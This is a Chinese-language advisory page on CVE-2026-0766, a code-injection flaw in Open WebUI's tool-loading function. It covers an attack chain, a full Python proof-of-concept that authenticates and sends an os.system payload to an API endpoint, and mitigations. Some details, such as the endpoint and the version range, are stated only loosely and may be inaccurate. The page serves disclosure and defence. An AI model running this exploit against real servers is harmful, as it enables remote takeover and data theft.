IPBUF安全漏洞报告
English
CVE-2026-0766 CVSS 8.8 高危

Open WebUI load_tool_module_by_id命令注入远程代码执行漏洞 (CVE-2026-0766)

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0766
漏洞类型
命令注入/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

命令注入远程代码执行Python代码执行Open WebUIZDI-CAN-28257身份认证绕过API漏洞Web应用安全

漏洞概述

CVE-2026-0766是Open WebUI中的一个高危命令注入漏洞,CVSS评分高达8.8。该漏洞存在于load_tool_module_by_id函数中,由于缺乏对用户输入字符串的正确验证就直接用于执行Python代码,导致远程攻击者可以在经过认证的情况下实现任意代码执行。攻击者可以利用该漏洞在服务账户的上下文中执行恶意代码,从而完全控制受影响的系统。此漏洞需要低权限认证即可利用,但不需要用户交互,攻击复杂度较低。由于Open WebUI通常部署为Web应用面向互联网,因此该漏洞具有较高的实际威胁性。攻击者可以通过构造特定的请求包,注入恶意Python代码并使其在服务器端执行,进而可能获取敏感数据、植入后门或横向移动到其他系统。

技术细节

该漏洞的核心问题在于load_tool_module_by_id函数对用户提供的输入参数缺乏安全验证。在Open WebUI的架构中,该函数负责加载工具模块,攻击者可以通过API接口向该函数传递精心构造的字符串参数。由于函数直接使用用户输入执行Python代码(可能使用eval()或exec()等函数),而未进行任何过滤或参数化处理,攻击者可以注入任意Python代码。例如,攻击者可以构造包含__import__('os').system('command')的payload来执行系统命令。漏洞的利用需要有效的认证凭证,攻击者首先需要获取或创建低权限用户账户,然后通过API发送恶意请求。ZDI-CAN-28257是该漏洞的ZDI编号,表明该漏洞已被趋势科技零日倡议(Zero Day Initiative)披露。修复方案需要在代码层面增加输入验证,使用安全的代码执行机制替代直接执行用户输入。

攻击链分析

STEP 1
信息收集
攻击者识别目标Open WebUI实例,确认版本是否包含漏洞的load_tool_module_by_id函数
STEP 2
账户获取
攻击者获取或创建低权限用户账户,可以是注册新账户或利用已有账户凭证
STEP 3
认证登录
使用有效凭证通过/api/v1/auth/login接口登录,获取有效会话cookie或token
STEP 4
构造Payload
构造包含恶意Python代码的payload,如__import__('os').system('command'),利用命令注入执行任意系统命令
STEP 5
发送恶意请求
向/api/v1/tools/load接口发送POST请求,module_id参数包含恶意代码
STEP 6
代码执行
服务器端load_tool_module_by_id函数直接执行用户输入的Python代码,以服务账户权限运行
STEP 7
持久化控制
攻击者可在服务器上植入后门、窃取数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-0766 PoC - Open WebUI Command Injection # Target: Open WebUI with vulnerable load_tool_module_by_id function TARGET_URL = "http://target:8080" USERNAME = "attacker" PASSWORD = "password123" def exploit(target_url, username, password, command): """ Exploit CVE-2026-0766 by injecting Python code via load_tool_module_by_id Args: target_url: Base URL of vulnerable Open WebUI instance username: Valid low-privilege user account password: Password for the user account command: System command to execute on target """ session = requests.Session() # Step 1: Authenticate to obtain session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Authentication successful") # Step 2: Inject malicious Python code via load_tool_module_by_id # The vulnerability allows execution of arbitrary Python code exploit_payload = f"__import__('os').system('{command}')" exploit_url = f"{target_url}/api/v1/tools/load" exploit_data = { "module_id": exploit_payload, "action": "load_module" } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] Command executed successfully: {command}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": import sys if len(sys.argv) < 5: print("Usage: python cve_2026_0766_poc.py <target_url> <username> <password> <command>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

影响范围

Open WebUI < 0.3.x (vulnerable versions with load_tool_module_by_id function)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Open WebUI的网络访问,仅允许受信任的IP访问管理接口;2) 禁用或限制工具模块加载功能;3) 实施强密码策略和账户锁定机制,防止凭证被盗用;4) 启用详细的审计日志,监控异常的API调用行为;5) 使用网络隔离技术,将Open WebUI部署在隔离的网络区域;6) 定期备份系统数据,以便在发生安全事件时快速恢复。建议持续关注Open WebUI官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表